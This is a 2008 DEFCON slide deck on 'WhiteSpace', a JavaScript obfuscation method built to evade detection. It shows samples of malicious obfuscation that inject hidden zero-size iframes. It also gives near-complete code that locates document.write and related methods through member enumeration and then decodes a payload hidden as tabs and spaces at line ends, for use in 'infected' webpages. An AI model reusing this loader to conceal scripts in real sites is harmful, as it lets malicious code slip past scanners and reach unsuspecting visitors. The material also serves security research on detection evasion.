WhiteSpace:
A Different Approach to JavaScript Obfuscation

DEFCON 16
August, 2008

Kolisar

Introduction

- What led to WhiteSpace?

Agenda

- What is “WhiteSpace”?
- A Brief Survey of Current JavaScript Obfuscation Methods
- The Telltale Indicators of Obfuscation
- The Components of this Approach
- Demo

What is “WhiteSpace”?

- A different approach to JavaScript obfuscation
- Hides the usual, telltale indicators of obfuscation
- Not detectable by standard “Obfuscated JavaScript” detection methods (automatic and manual)

JavaScript Obfuscation Methods

- What is usually encoded
  - Exploit code
  - Hidden iFrames

JavaScript Obfuscation Methods (cont.)

- Escaped ASCII/Unicode Values

```
eval(unescape ('%77%69%6e%64%6f%77%2e
%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f
...
%35%35%20%68%65%69%67%68%74%3d
%35%31%31%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c
%61%79%3a%20%6e%6f%6e%65%5c%27%3e%3c%2f
%69%66%72%61%6d%65%3e%27%29') );

document.write('\u003c\u0069\u0066\u0072\u0061\u006d
\u0065\u0020\u0073\u0072\u0063\u003d
\u0027\u0068\u0074\u0074\u0070
...
\u0065\u006e\u003b\u0027\u003e\u003c\u002f
\u0069\u0066\u0072\u0061\u006d\u0065\u003e')
```

JavaScript Obfuscation Methods (cont.)

- XOR (ASCII values)

```
function xor_str(plain_str, xor_key){ var xored_str =
"";        for (var i = 0 ; i < plain_str.length; ++i)
xored_str += String.fromCharCode(xor_key ^
plain_str.charCodeAt(i)); return xored_str; }
function asd(a,b){}; function qwe(c,i){};var
plain_str = "\x8d\xa0\xa7\xa0\xa7\xa0\xa7\xdb\xcc\xdf
\x8d\xc0\xc0\x8d\x90\x8d\xc3\xc8\xda\x8d\xec\xdf\xdf
\xcc\xd4\x85\x84\x96\xa0\xa7\xdb\xcc\xdf\x8d
\xc0\xc8\xc0\xf2\xcb\xc1\xcc\xca\x8d\x90\x8d\x9d\x96
...
85\x84\x96\xa0\xa7"; var xored_str =
xor_str(plain_str, 173); eval(xored_str);
```

JavaScript Obfuscation Methods (cont.)

- XOR (Character Encoding)

```
str = "ru`su)(:^L^Kgtobuhno!ru`su)(!z^L^Kw`s!fgg!<!
enbtldou/bsd`udDmdldou)&nckdbu&(:^L^Kfgg
rdu@uushctud)&he&-&fgg&(:^L^Kfgg/
rdu@uushctud)&bm`rrhe&&bm&*&rh&*#e;CE#*#87B4#*&47,74@
...
ubi)d(z||";str2 = "";for (i = 0; i < str.length; i +
+) { str2 = str2 + String.fromCharCode
(str.charCodeAt (i) ^ 1); }; eval(str2);
```

JavaScript Obfuscation Methods (cont.)

- String Splitting

```
le=”rame>”;
ok=”docume”;
uk=”eight=0></if”;
aj=”t.write(”;
em=”dth=0 h”;
cg=”<ifram”;
nr=”e src=/x.htm wi”;
eval(ok+aj+cg+nr+em+uk+le);
```

JavaScript Obfuscation Methods (cont.)

- Simple Encryption

```
function decrypt_p(x){var
l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,53,56,
3,9,35,38,14,13,
...
,50,60,7,22,44,19,28);for(j=Math.ceil(l/b);j>0;j--)
{r='';for(i=Math.min(l,b);i>0;i--,l--){w|
=(t[x.charCodeAt(p++)-48])<<s;if(s){r
+=String.fromCharCode(165^w&255);w>>=8;s-
=2}else{s=6}}document.write(r)}}
decrypt_p("S6dXf5aGSk8t49x1_t72lgGPdk72OvU6EUK6fWauC3
...
Ayu1N5xBEUK6qKDfsWz1V94J96CgBPa2u94J96CgDvnGC94J9I");
```

JavaScript Obfuscation Methods (cont.)

- Non-encryption based Obfuscation
- Using Non-obvious Variable and Function Names

```
function v47d9df3cf15f9(v47d9df3cf1ddf){ function
v47d9df3cf25b0 () {return 16;}
...
{ function v47d9df3d01281 () {var v47d9df3d01a56=2;
return v47d9df3d01a56;} var
v47d9df3d002d9='';for(v47d9df3d00aac=0;
v47d9df3d00aac<v47d9df3cf3d44.length; v47d9df3d00aac
+=v47d9df3d01281())
....
```

Telltale Indicators

- eval( )
- unescape( )
- document.write( )
- Large blocks of "meaningless text"
  - Escaped ASCII/Unicode values
  - Encrypted Text
  - etc.

Telltale Indicators (cont.)

```
xor_str(plain_str, 173); eval(xored_str);

eval(unescape ('%77%69%6e%64%6f%77%2e

=2}else{s=6}}document.write(r)}

str = "ru`su)(:^L^Kgtobuhno!ru`su)(!z^L^Kw`s!fgg!<!
enbtldou/bsd`udDmdldou)&nckdbu&(:^L^Kfgg
rdu@uushctud)&he&-&fgg&(:^L^Kfgg/
rdu@uushctud)&bm`rrhe&&bm&*&rh&*#e;CE#*#87B4#*&47,74@
```

Components of this Approach

- JavaScript Objects
- Member Enumeration
- WhiteSpace Encoding/Decoding
- Limitations

JavaScript Objects

- Start with “this”
- References to methods

Member Enumeration

- Don't want to use "document.write", too obvious
- Locate by length and select characters

```
h = this;
for (i in h)
{
    if(i.length == 8)
    {
        if(i.charCodeAt(0) == 100)
        {
            if(i.charCodeAt(7) == 116)
            {
                break;
            }
        }
    }
}
```

Member Enumeration (cont.)

- Use previous reference to get next "level" (in this case the "write" method from the "document" object)

```
for (j in h[i])
{
    if(j.length == 5)
    {
        if(j.charCodeAt(0) == 119)
        {
            if(j.charCodeAt(1) == 114)
            {
                break;
            }
        }
    }
}
```

Member Enumeration (cont.)

- Continue this method to create a reference to “getElementById” and “innerHTML”

```
for (k in h[i])
{
     if(k.length == 14)
     {
          if(k.charCodeAt(0) == 103)
          {
               if(k.charCodeAt(3) == 69)
               {
                    break;
               }
          }
        }
}
```

Member Enumeration (cont.)

- Continue this method to create a reference to “innerHTML”

```
for (l in r)
{
    if(l.length == 9)
    {
        if(l.charCodeAt(0) == 105)
        {
            if(l.charCodeAt(5) == 72)
            {
                break;
            }
        }
    }
}
```

WhiteSpace Encoding/Decoding

- Binary Encoded ASCII Values using WhiteSpace
  - Tab = 0
  - Space = 1
- Read from end of lines
  (PoC had variables indicating #chars/line and #lines containing encoded data)

WhiteSpace Decoding (cont.)

- Get the section of HTML with the Encoded text (desired section has id=’p’)

```
r=h[i][k]('p'); // this.document.getElementById(‘p’)
```

WhiteSpace Decoding (cont.)

- Retrieve code with encoded data

```
a=r[l]; //  r = this.document.getElementById(‘p’), a=r.innerHTML
b=a.split('\n');
```

WhiteSpace Decoding (cont.)

- Decode WhiteSpace

```
o = "";
for(c=3; c < (e+3); c++) // e is number of lines with encoding
{
    s=b[c]; // b = individual lines split from innerHTML call
    for(f=0; f < d; f++)  // d is number of chars encoded/line
    {
        y = ((s.length - (8*d)) + (f*8));
        v = 0;
        for(x = 0; x < 8; x++)
        {
            if(s.charCodeAt(x+y) > 9)
            {
                v++;
            }
            if(x != 7)
            {
                v = v << 1;
            }
        }
        o += String.fromCharCode(v);
    }
}
```

The Final Call

- h[i][j](o); //this.document.write(o);

Limitations

- Decoding code must be included in infected webpage, this is JavaScript after all (there may be ways around this)

Demonstration

Thanks

- 장인섭 (Insub Chang)
- Gar Morley
- JA

Questions?